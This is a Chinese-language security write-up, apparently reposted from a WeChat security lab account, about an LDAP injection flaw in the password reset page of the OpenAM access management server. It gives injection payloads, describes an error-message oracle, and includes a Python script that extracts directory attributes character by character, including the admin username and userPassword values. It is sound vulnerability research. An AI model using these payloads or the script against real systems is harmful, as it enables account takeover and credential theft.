在这篇文章中,我们解释了我们如何能够识别并利用OpenAM访问管理服务器平台中的LDAP注入漏洞。
关于OpenAM
OpenAM是一个开源的访问管理、权限和联盟服务器平台。在2016年之前,它一直由ForgeRock赞助。现在它得到了开放身份平台社区的支持。OpenAM起源于OpenSSO,一个由Sun Microsystems创建的访问管理系统,现在由Oracle公司拥有。维基百科
LDAP注入
LDAP注入是一种攻击,用于利用基于用户输入构建LDAP语句的网络应用。当一个应用程序不能正确地对用户输入进行消毒时,就有可能通过类似于SQL注入的技术来修改LDAP语句。
漏洞详情
该漏洞是在OpenAM提供的密码重置功能中发现的。当用户试图重置密码时,会被要求输入用户名,然后后台通过LDAP查询验证用户是否存在,然后再将密码重置令牌发送到用户的邮箱。将用户名参数PWResetUserValidation.tfUserAttr的值设置为*,导致服务器响应以下错误Error: 有多个用户符合指定的值。输入一个不同的值,或者联系你的管理员寻求帮助。这表明它可能容易受到LDAP注入。
将PWResetUserValidation.tfUserAttr参数的值设置为*)|(objectclass=*返回同样的错误,这意味着查询返回的用户不止一个。说到这里,可以使用以下技术从目录服务数据库中获取任何数据。
如果查询返回的结果不止一个,那么返回的错误将是: 有一个以上的用户匹配指定的值。
如果查询只返回一个结果=>没有为你配置问题或要求用户回答问题。
如果查询没有返回任何信息 => 该用户的密码无法重置。
因此,如果我们使用*)|(propertyName=*a)知道用户对象的任何属性名,并且服务器没有返回错误的话,就可以获取该用户对象的任何属性值。The password cannot be reset for this user then the value of the property has a character "a" and we can keep trying other characters until we get the full value.
由于注入点在username属性内,我们能够使用下面的python脚本从活动目录服务数据库中提取用户名。
import requests
url = "https://[REDACTED]/amserver/ui/PWResetUserValidation"
charlist = "@_/:$%&^+,-=.1234567890abcdefghijklmnopqrstuvwxyza"
headers = {"Cookie":"[REDACTED]", User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0"
}
restart = True
res = ''
while restart:
restart = False
for char in charlist:
r = requests.post(url, headers=headers,data={"PWResetUserValidation.fldUserAttr":"uid",
"PWResetUserValidation.tfUserAttr":"%s%s*)(objectclass=*" % (res,char), "PWResetUserValidation.btnNext":"%C2%A0Next%C2%A0","jato.defaultCommand":"/btnNext","jato.pageSession":"1"}, verify = False)
print "%s%s %s" % (res,char, str(r.status_code))
# print r.content
if "cannot be reset for this user" not in r.content:
print "found %s%s" % (res,char)
res = "%s%s" % (res,char)
restart = True
break
而运行脚本后,返回的是管理员用户的用户名:amadmin。
经过进一步的测试,我们决定看看是否能够获取密码或密码重置令牌。
首先,我们需要获取对象类的名称,我们通过将脚本中PWResetUserValidation.tfUserAttr参数的值设置为 "*)(objectclass=*%s%s"%(char,res),从而返回sunServiceComponent
现在我们要做的就是在https://docs.oracle.com/cd/E19563-01/819-4437/6n6jckr11/index.html,查找sunServiceComponent类的文档。
该类允许的属性之一是sunKeyValue,它返回分配给用户的所有属性,包括userPassword值。
因此,我们能够通过在脚本中设置PWResetUserValidation.tfUserAttr参数的值来获取用户密码,"PWResetUserValidation.tfUserAttr": "*)(sunKeyValue=*userPassword=%s%s*" % (res,char)
本文始发于微信公众号(Khan安全攻防实验室):OpenAM中注入LDAP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论